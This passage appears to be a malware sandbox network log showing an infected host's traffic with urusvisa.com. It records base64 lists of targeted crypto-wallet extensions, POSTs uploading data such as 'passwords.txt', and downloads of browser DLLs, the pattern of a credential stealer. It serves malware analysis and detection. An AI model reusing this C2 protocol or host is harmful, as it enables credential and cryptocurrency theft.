Sep 30, 2024 12:22:25.259392977 CEST	1236	IN	Data Raw: 38 4d 48 77 77 66 45 56 57 52 56 49 67 56 32 46 73 62 47 56 30 66 44 46 38 59 32 64 6c 5a 57 39 6b 63 47 5a 68 5a 32 70 6a 5a 57 56 6d 61 57 56 6d 62 47 31 6b 5a 6e 42 6f 63 47 78 72 5a 57 35 73 5a 6d 74 38 4d 58 77 77 66 44 42 38 53 32 46 79 5a Data Ascii: 8MHwwfEVWRVIgV2FsbGV0fDF8Y2dlZW9kcGZhZ2pjZWVmaWVmbG1kZnBocGxrZW5sZmt8MXwwfDB8S2FyZGlhQ2hhaW58MXxwZGFkamtma2djYWZnYmNlaW1jcGJrYWxuZm5lcGJua3wxfDB8MHxSYWJieXwxfGFjbWFjb2RramJkZ21vbGVlYm9sbWRqb25pbGtkYmNofDF8MHwwfFBoYW50b218MXxiZm5hZWxtb21laW1obH
Sep 30, 2024 12:22:25.259409904 CEST	1236	IN	Data Raw: 6c 63 48 42 6e 5a 48 42 6f 66 44 46 38 4d 48 77 77 66 45 56 34 62 32 52 31 63 79 42 58 5a 57 49 7a 49 46 64 68 62 47 78 6c 64 48 77 78 66 47 46 6f 62 32 78 77 5a 6d 52 70 59 57 78 71 5a 32 70 6d 61 47 39 74 61 57 68 72 61 6d 4a 74 5a 32 70 70 5a Data Ascii: lcHBnZHBofDF8MHwwfEV4b2R1cyBXZWIzIFdhbGxldHwxfGFob2xwZmRpYWxqZ2pmaG9taWhramJtZ2ppZGxjZG5vfDF8MHwwfEJyYWF2b3N8MXxqbmxnYW1lY2JwbWJhampmaG1tbWxoZWprZW1lamRtYXwxfDB8MHxFbmtyeXB0fDF8a2twbGxrb2RqZWxvaWRpZWVkb2pvZ2FjZmhwYWlob2h8MXwwfDB8T0tYIFdlYjMgV2
Sep 30, 2024 12:22:25.259423018 CEST	448	IN	Data Raw: 76 49 46 64 68 62 47 78 6c 64 48 77 78 66 47 4a 6e 61 6d 39 6e 63 47 39 70 5a 47 56 71 5a 47 56 74 5a 32 39 76 59 32 68 77 62 6d 74 74 5a 47 70 77 62 32 4e 6e 61 32 68 68 66 44 46 38 4d 48 77 77 66 45 4e 76 61 57 35 6f 64 57 4a 38 4d 58 78 71 5a Data Ascii: vIFdhbGxldHwxfGJnam9ncG9pZGVqZGVtZ29vY2hwbmttZGpwb2Nna2hhfDF8MHwwfENvaW5odWJ8MXxqZ2FhaW1hamlwYnBkb2dwZGdsaGFwaGxkYWtpa2dlZnwxfDB8MHxMZWFwIENvc21vcyBXYWxsZXR8MXxmY2ZjZmxsZm5kbG9tZGhiZWhqamNvaW1iZ29mZG5jZ3wxfDB8MHxNdWx0aXZlcnNYIERlRmkgV2FsbGV0fD
Sep 30, 2024 12:22:25.259438992 CEST	1236	IN	Data Raw: 6c 64 43 41 74 49 46 42 76 62 47 74 68 5a 47 39 30 49 46 64 68 62 47 78 6c 64 48 77 78 66 47 39 75 61 47 39 6e 5a 6d 70 6c 59 57 4e 75 5a 6d 39 76 5a 6d 74 6d 5a 33 42 77 5a 47 78 69 62 57 78 74 62 6e 42 73 5a 32 4a 75 66 44 46 38 4d 48 77 77 66 Data Ascii: ldCAtIFBvbGthZG90IFdhbGxldHwxfG9uaG9nZmplYWNuZm9vZmtmZ3BwZGxibWxtbnBsZ2JufDF8MHwwfEZsdXZpIFdhbGxldHwxfG1tbWpiY2ZvZmNvbmthbm5qb25mbWpqYWpwbGxkZGJnfDF8MHwwfEdsYXNzIFdhbGxldCAtIFN1aSBXYWxsZXR8MXxsb2luZWtjYWJobG1oampib2NpamRvaW1tZWphbmdvYXwxfDB8MH
Sep 30, 2024 12:22:25.259450912 CEST	227	IN	Data Raw: 38 4d 48 78 55 54 30 34 67 56 32 46 73 62 47 56 30 66 44 46 38 62 6e 42 6f 63 47 78 77 5a 32 39 68 61 32 68 6f 61 6d 4e 6f 61 32 74 6f 62 57 6c 6e 5a 32 46 72 61 57 70 75 61 32 68 6d 62 6d 52 38 4d 58 77 77 66 44 42 38 54 58 6c 55 62 32 35 58 59 Data Ascii: 8MHxUT04gV2FsbGV0fDF8bnBocGxwZ29ha2hoamNoa2tobWlnZ2FraWpua2hmbmR8MXwwfDB8TXlUb25XYWxsZXR8MXxmbGRmcGdpcGZuY2duZGZvbGNia2RlZWtuYmJibmhjY3wxfDB8MHxVbmlzd2FwIEV4dGVuc2lvbnwxfG5ucG1mcGxrZm9nZnBtY25ncGxobmJkbm5pbG1jZGNnfDF8MHwwfA==
Sep 30, 2024 12:22:25.346431017 CEST	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Sep 30, 2024 12:22:25.419532061 CEST	511	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----JECAFHJEGCFCBFIEGCAE Host: urusvisa.com Content-Length: 332 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 45 43 41 46 48 4a 45 47 43 46 43 42 46 49 45 47 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 30 34 66 36 39 34 31 63 65 30 39 35 34 63 35 39 34 39 65 35 39 38 61 64 30 33 34 64 64 32 34 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 43 41 46 48 4a 45 47 43 46 43 42 46 49 45 47 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 31 32 64 39 36 32 61 30 62 34 31 37 36 61 30 63 31 39 63 34 65 36 31 63 35 33 62 64 32 30 62 35 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 43 41 46 48 4a 45 47 43 46 43 42 46 49 45 47 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 32 31 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 43 41 46 48 4a 45 47 43 46 43 42 46 49 45 47 43 41 45 2d 2d 0d 0a Data Ascii: ------JECAFHJEGCFCBFIEGCAEContent-Disposition: form-data; name="token"d04f6941ce0954c5949e598ad034dd24------JECAFHJEGCFCBFIEGCAEContent-Disposition: form-data; name="build_id"12d962a0b4176a0c19c4e61c53bd20b5------JECAFHJEGCFCBFIEGCAEContent-Disposition: form-data; name="mode"21------JECAFHJEGCFCBFIEGCAE--
Sep 30, 2024 12:22:25.960916996 CEST	282	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 30 Sep 2024 10:22:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 63 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 46 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 0d 0a 30 0d 0a 0d 0a Data Ascii: 6cTWV0YU1hc2t8MXx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDF8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb2180
Sep 30, 2024 12:22:26.066260099 CEST	180	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----JDAKJDAAFBKFHIEBFCFB Host: urusvisa.com Content-Length: 7641 Connection: Keep-Alive Cache-Control: no-cache
Sep 30, 2024 12:22:26.066261053 CEST	7641	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4a 44 41 4b 4a 44 41 41 46 42 4b 46 48 49 45 42 46 43 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 30 34 66 36 39 Data Ascii: ------JDAKJDAAFBKFHIEBFCFBContent-Disposition: form-data; name="token"d04f6941ce0954c5949e598ad034dd24------JDAKJDAAFBKFHIEBFCFBContent-Disposition: form-data; name="build_id"12d962a0b4176a0c19c4e61c53bd20b5------JDAKJDAAFBKFHI
Sep 30, 2024 12:22:26.704577923 CEST	175	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 30 Sep 2024 10:22:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0
Sep 30, 2024 12:22:26.707058907 CEST	94	OUT	GET /sql.dll HTTP/1.1 Host: urusvisa.com Connection: Keep-Alive Cache-Control: no-cache
Sep 30, 2024 12:22:26.889554977 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 30 Sep 2024 10:22:26 GMT Content-Type: application/octet-stream Content-Length: 2459136 Last-Modified: Fri, 24 Nov 2023 13:43:06 GMT Connection: keep-alive ETag: "6560a86a-258600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 1e d2 37 9f 5a b3 59 cc 5a b3 59 cc 5a b3 59 cc 11 cb 5a cd 6e b3 59 cc 11 cb 5c cd cf b3 59 cc 11 cb 5d cd 7f b3 59 cc 11 cb 58 cd 59 b3 59 cc 5a b3 58 cc d8 b3 59 cc 4f cc 5c cd 45 b3 59 cc 4f cc 5d cd 55 b3 59 cc 4f cc 5a cd 4c b3 59 cc 6c 33 5d cd 5b b3 59 cc 6c 33 59 cd 5b b3 59 cc 6c 33 a6 cc 5b b3 59 cc 6c 33 5b cd 5b b3 59 cc 52 69 63 68 5a b3 59 cc 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 69 a8 60 65 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 0e 25 00 d4 20 00 00 ca 04 00 00 00 00 00 7b 44 00 00 00 10 00 00 00 f0 20 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$7ZYZYZYZnY\Y]YXYYZXYO\EYO]UYOZLYl3][Yl3Y[Yl3[Yl3[[YRichZYPELi`e!% {D %@#6$($$`#8x#@$.textG `.rdata" $ @@.data4\| $b#@.idata$^$@@.00cfg$p$@@.rsrc$r$@@.reloc5$$@B
Sep 30, 2024 12:22:26.889585972 CEST	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 cc cc cc cc cc e9 8b 17 1c 00 e9 a0 11 1d 00 e9 bf ab 1b 00 e9 a2 44 1c 00 e9 3b 27 1d 00 e9 cc 5a 1d 00 e9 95 a9 1c 00 e9 Data Ascii: D;'ZRxs\tNg4^0Gb&OlpjBT%{rf:%
Sep 30, 2024 12:22:28.823652983 CEST	180	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIIEBAFCBKFIDGCAKKKF Host: urusvisa.com Content-Length: 4677 Connection: Keep-Alive Cache-Control: no-cache
Sep 30, 2024 12:22:29.533195972 CEST	175	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 30 Sep 2024 10:22:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0
Sep 30, 2024 12:22:29.625087976 CEST	180	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJDHCFCBGIDGHJJKJJDG Host: urusvisa.com Content-Length: 1529 Connection: Keep-Alive Cache-Control: no-cache
Sep 30, 2024 12:22:30.430701017 CEST	175	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 30 Sep 2024 10:22:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0
Sep 30, 2024 12:22:30.447277069 CEST	616	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJJEHJJKJEGHJJKEBFBG Host: urusvisa.com Content-Length: 437 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 4a 4a 45 48 4a 4a 4b 4a 45 47 48 4a 4a 4b 45 42 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 30 34 66 36 39 34 31 63 65 30 39 35 34 63 35 39 34 39 65 35 39 38 61 64 30 33 34 64 64 32 34 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 45 48 4a 4a 4b 4a 45 47 48 4a 4a 4b 45 42 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 31 32 64 39 36 32 61 30 62 34 31 37 36 61 30 63 31 39 63 34 65 36 31 63 35 33 62 64 32 30 62 35 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 45 48 4a 4a 4b 4a 45 47 48 4a 4a 4b 45 42 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 47 46 7a 63 33 64 76 63 6d 52 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 45 48 4a 4a [TRUNCATED] Data Ascii: ------HJJEHJJKJEGHJJKEBFBGContent-Disposition: form-data; name="token"d04f6941ce0954c5949e598ad034dd24------HJJEHJJKJEGHJJKEBFBGContent-Disposition: form-data; name="build_id"12d962a0b4176a0c19c4e61c53bd20b5------HJJEHJJKJEGHJJKEBFBGContent-Disposition: form-data; name="file_name"cGFzc3dvcmRzLnR4dA==------HJJEHJJKJEGHJJKEBFBGContent-Disposition: form-data; name="file_data"------HJJEHJJKJEGHJJKEBFBG--
Sep 30, 2024 12:22:31.121612072 CEST	175	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 30 Sep 2024 10:22:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0
Sep 30, 2024 12:22:31.226816893 CEST	616	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJKEHIIJJECFHJKECFHD Host: urusvisa.com Content-Length: 437 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4a 4b 45 48 49 49 4a 4a 45 43 46 48 4a 4b 45 43 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 30 34 66 36 39 34 31 63 65 30 39 35 34 63 35 39 34 39 65 35 39 38 61 64 30 33 34 64 64 32 34 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4b 45 48 49 49 4a 4a 45 43 46 48 4a 4b 45 43 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 31 32 64 39 36 32 61 30 62 34 31 37 36 61 30 63 31 39 63 34 65 36 31 63 35 33 62 64 32 30 62 35 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4b 45 48 49 49 4a 4a 45 43 46 48 4a 4b 45 43 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 47 46 7a 63 33 64 76 63 6d 52 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4b 45 48 49 49 [TRUNCATED] Data Ascii: ------KJKEHIIJJECFHJKECFHDContent-Disposition: form-data; name="token"d04f6941ce0954c5949e598ad034dd24------KJKEHIIJJECFHJKECFHDContent-Disposition: form-data; name="build_id"12d962a0b4176a0c19c4e61c53bd20b5------KJKEHIIJJECFHJKECFHDContent-Disposition: form-data; name="file_name"cGFzc3dvcmRzLnR4dA==------KJKEHIIJJECFHJKECFHDContent-Disposition: form-data; name="file_data"------KJKEHIIJJECFHJKECFHD--
Sep 30, 2024 12:22:31.914865017 CEST	175	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 30 Sep 2024 10:22:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0
Sep 30, 2024 12:22:31.946577072 CEST	98	OUT	GET /freebl3.dll HTTP/1.1 Host: urusvisa.com Connection: Keep-Alive Cache-Control: no-cache
Sep 30, 2024 12:22:32.129152060 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 30 Sep 2024 10:22:32 GMT Content-Type: application/octet-stream Content-Length: 685392 Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT Connection: keep-alive ETag: "6315a9f4-a7550" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Sep 30, 2024 12:22:32.624648094 CEST	98	OUT	GET /mozglue.dll HTTP/1.1 Host: urusvisa.com Connection: Keep-Alive Cache-Control: no-cache
Sep 30, 2024 12:22:32.807320118 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 30 Sep 2024 10:22:32 GMT Content-Type: application/octet-stream Content-Length: 608080 Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT Connection: keep-alive ETag: "6315a9f4-94750" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Sep 30, 2024 12:22:33.176562071 CEST	99	OUT	GET /msvcp140.dll HTTP/1.1 Host: urusvisa.com Connection: Keep-Alive Cache-Control: no-cache
Sep 30, 2024 12:22:33.360649109 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 30 Sep 2024 10:22:33 GMT Content-Type: application/octet-stream Content-Length: 450024 Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT Connection: keep-alive ETag: "6315a9f4-6dde8" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Sep 30, 2024 12:22:33.644031048 CEST	99	OUT	GET /softokn3.dll HTTP/1.1 Host: urusvisa.com Connection: Keep-Alive Cache-Control: no-cache
Sep 30, 2024 12:22:33.826692104 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 30 Sep 2024 10:22:33 GMT Content-Type: application/octet-stream Content-Length: 257872 Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT Connection: keep-alive ETag: "6315a9f4-3ef50" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Sep 30, 2024 12:22:34.934293985 CEST	103	OUT	GET /vcruntime140.dll HTTP/1.1 Host: urusvisa.com Connection: Keep-Alive Cache-Control: no-cache
Sep 30, 2024 12:22:35.301826000 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 30 Sep 2024 10:22:35 GMT Content-Type: application/octet-stream Content-Length: 80880 Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT Connection: keep-alive ETag: "6315a9f4-13bf0" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Sep 30, 2024 12:22:35.398233891 CEST	95	OUT	GET /nss3.dll HTTP/1.1 Host: urusvisa.com Connection: Keep-Alive Cache-Control: no-cache
